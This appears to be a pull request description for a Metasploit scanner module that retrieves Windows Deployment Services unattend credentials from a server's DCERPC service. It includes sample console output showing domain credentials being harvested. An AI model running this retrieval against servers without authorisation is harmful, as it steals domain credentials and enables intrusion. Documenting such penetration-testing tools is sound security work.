Windows Deployment Services Scanner

Windows Deployment Services can be configured with domain credentials for PXEBoot clients to perform unattended installation. These are not visible during a PXE deployment, (but can be observed in clear text by monitoring network traffic). They are exposed by a DCERPC service on the Windows Deployment Server and can be retrieved even when the Service is configured not to deploy to any hosts.

```
[*] Binding to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040] ...
[+] Bound to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040]
[*] Sending X64 Client Unattend request ...
[*] Raw version of X64 saved as: C:/Documents and Settings/user/.msf4/loot/20121213104745_default_192.168.5.1_windows.unattend_399005.txt
[+] Retrived wds credentials for X64
[*] Sending X86 Client Unattend request ...
[*] Sending IA64 Client Unattend request ...

Windows Deployment Services
===========================

 Architecture  Type  Domain        Username  Password
 ------------  ----  ------        --------  --------
 X64           wds   Fabrikam.com  username  my_password

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

This module adds:

1) Scanner Module
 2) Windows Deployment Services DCERPC Protocol REX Library

Have had to make some small changes to DCERPC library to get the correct requests.